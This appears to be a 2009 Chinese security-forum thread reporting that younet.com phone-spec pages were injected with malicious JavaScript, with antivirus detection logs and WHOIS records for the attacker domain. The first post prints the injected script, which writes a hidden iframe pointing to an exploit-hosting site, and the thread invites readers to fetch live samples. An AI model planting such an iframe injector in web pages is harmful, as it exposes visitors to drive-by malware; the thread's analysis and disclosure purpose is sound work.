younet.com被挂马了，想测杀软的进

显示全部楼层 · 发表于 2009-4-17 22:37:02

每个手机的参数页都挂了，比如
http://mobile.younet.com/files/19/19598.html
里面被挂了
http://ln.vnet.cn/ads.js
js内容如下

var cookieString=document.cookie;
var start=cookieString.indexOf("cookiesleep");
if(start!=-1){}else{var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="cookiesleep=test;expires="+expires.toGMTString();
document.write("<iframe src=http://u.edj9.cn/d5/x2/index.htm?22 width=0 height=0 border=0></iframe>");}

复制代码

最终卡巴报告
2009-04-17 20:22:44 已检测特洛伊程序Exploit.HTML.CodeBaseExec http://u.edj9.cn/d5/x2/ccqm.htm
2009-04-17 20:30:56 已检测特洛伊程序Exploit.JS.Agent.rf http://u.edj9.cn/d5/x2/ccgg.htm
还测试了瑞星，也报告病毒。
其他杀软未测，欢迎继续。

显示全部楼层 · 发表于 2009-4-17 22:38:15

已经报告给younet了，需要测试的朋友抓紧时间呵呵

显示全部楼层 · 发表于 2009-4-17 22:39:58

　　Domain Name: edj9.cn
　　ROID: 20090415s10001s08270166-cn
　　Domain Status: ok
　　Registrant Organization: 张家一
　　Registrant Name: 张家一
　　Administrative Email: realuu01@163.com
　　Sponsoring Registrar: 北京万网志成科技有限公司
　　Name Server:ns.cdnhost.cn
　　Name Server:ns.dnsfamily.com
　　Registration Date: 2009-04-15 20:22
　　Expiration Date: 2010-04-15 20:22

　　4月15日注册的
　　难道就是为了放木马?
　　还是说这么快就被利用？

显示全部楼层 · 发表于 2009-4-17 23:03:58

金山网盾报毒

显示全部楼层 · 发表于 2009-4-17 23:06:27

actvex[1].exe Trojan.KillAV.PT
ccqm[1].htm Trojan.Exploit.ANQU

显示全部楼层 · 发表于 2009-4-18 21:27:45

火狐报了攻击站点。。

显示全部楼层 · 发表于 2009-4-18 22:08:20

mcafee貌似没报？

显示全部楼层 · 发表于 2009-4-18 22:08:24

友人老牌手机站

McAfee8.5i+Sandboxie拒绝连接

显示全部楼层 · 发表于 2009-4-18 22:12:40

晚了，没赶上，

显示全部楼层 · 发表于 2009-4-19 07:54:53

D:\kafan\x.css
[DETECTION] Is the TR/Crypt.XDR.Gen Trojan
[NOTE]    A backup was created as '4a4d68eb.qua'  ( QUARANTINE )
[NOTE]    The file was deleted!
Begin scan in 'D:\kafan\ActveX.exe'
D:\kafan\ActveX.exe
[DETECTION] Is the TR/Crypt.UPKM.Gen Trojan
[NOTE]    A backup was created as '4a5e6920.qua'  ( QUARANTINE )
[NOTE]    The file was deleted!
Begin scan in 'D:\kafan\ads.js'
D:\kafan\ads.js
[DETECTION] Contains HEUR/HTML.Malware suspicious code
[NOTE]    The detection was classified as suspicious.
[NOTE]    A backup was created as '4a5d6921.qua'  ( QUARANTINE )
[NOTE]    The file was deleted!
Begin scan in 'D:\kafan\ccqm.htm'
Begin scan in 'D:\kafan\ccgg.htm'
D:\kafan\ccgg.htm
[DETECTION] Contains recognition pattern of the HTML/Rce.Gen HTML script virus

[病毒样本] younet.com被挂马了，想测杀软的进